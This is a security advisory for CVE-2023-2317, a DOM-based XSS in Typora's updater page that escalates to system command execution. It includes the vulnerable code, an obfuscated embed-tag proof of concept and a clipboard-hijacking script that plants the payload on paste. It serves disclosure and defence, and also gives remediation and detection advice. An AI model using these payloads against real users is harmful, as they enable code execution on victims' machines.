Product | Typora |
---|---|
Vendor | Typora |
Severity | High |
Affected Versions | Typora for Windows/Linux < 1.6.7 |
Tested Versions | Typora for Windows 1.5.12, Typora for Linux 1.5.10 |
CVE Identifier | CVE-2023-2317 |
CVE Description | DOM-based XSS in updater/update.html in Typora before 1.6.7 on Windows and Linux allows a crafted markdown file to run arbitrary JavaScript code in the context of Typora main window via loading “typora://app/typemark/updater/update.html” in <embed> tag. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora. |
CWE Classification(s) | CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
CAPEC Classification(s) | CAPEC-588 DOM-Based XSS, CAPEC-549 Local Execution of Code |
Base Score: 8.6 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Local |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | Required |
Scope (S) | Changed |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Typora is a popular cross-platform markdown editor that allows users to create and edit markdown files with a real-time preview feature. It supports various formatting options such as headings, bold, italics, and more. Typora also allows users to export their markdown files to different formats such as PDF, HTML, and Word.
Typora for Windows/Linux is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding external webpages. An attacker can use the vulnerability to execute arbitrary JavaScript code and system commands by loading a crafted URL in the markdown editor.
There is a DOM-based XSS in Typora for Windows/Linux, allowing arbitrary JavaScript code to run in the context of Typora main window. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.
An DOM-based XSS has been found in Typora/resources/updater/updater.html
:
<div class="btn-group">
<div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
<button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
</div>
<button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
<button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
</div>
<script type="text/javascript">
// ...
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1])); // [1]
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0]; // [2]
});
// ...
</script>
In the code snippet above, variable labels
is extracted from location.search
at [1]
, and later assigned to innerHTML
of elements with data-label
attributes at [2]
.
Here is a PoC injecting an <input>
tag into the DOM:
updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]
Typora registered a file handler typora://
to load local resources. For example, the URL of the main window is typora://app/typemark/window.html
, and the actual file is loaded from [Typora Installation Absolute Path]/resources/window.html
.
It is possible for attacker to load the vulnerable updater.html inside an <embed>
tag by setting the src
attribute to typora://app/typemark/updater/updater.html
. In this case, typora://app/typemark/window.html
loaded in the main window, and the embedded updater page, are considered same-origin. Thus, updater is able to access privileged interfaces exposed to the main window, such as reqnode
.
By embedding an updater.html URL with crafted DOM-XSS payload, an attacker is able to execute arbitrary JavaScript code on the main window. Further more, the attacker can use privileged interface reqnode
in main window to gain access to the node module child_process
and execute arbitrary system command.
This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file in Typora, or (2) copy text from a malicious webpage and paste it into Typora.
We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
The base64-encoded part in the PoC is decoded to the following content:
reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
When this PoC is loaded in Typora, it will:
notepad
on Windows, or gnome-calculator
on LinuxAn attacker can inject an embed tag in a markdown file and convince the victim to open it in Typora to trigger the payload.
We have attached poc/typora-1.5.12-rce.md
with this report for demonstration. Open the file in affected version of Typora to verify this vulnerability.
Here are GIFs showing this scenario on Windows and Ubuntu:
An attacker can craft a malicious webpage and hook on the copy
event with the following code:
<script>
document.addEventListener('copy',e=>{
e.preventDefault();
let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
console.log(payload + window.getSelection())
})
</script>
When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Typora.
We have attached poc/rce-cp.html
as PoC of this scenario. A live version can also be found here.
<embed>
tag to make the exploit less noticeable. For instance, height:0;
is used in the Scenario 2 PoC to hide the embedded webpage.It is recommended to update HTML elements by setting innerText
instead of innerHTML
.
For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file should not be opened in Typora, and (2) copying text from an untrusted webpage then pasting it into Typora should be avoided.
It is possible to detect the exploitation of this vulnerability by checking the presence of embed
tags loading suspicious URLs in markdown files.
Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)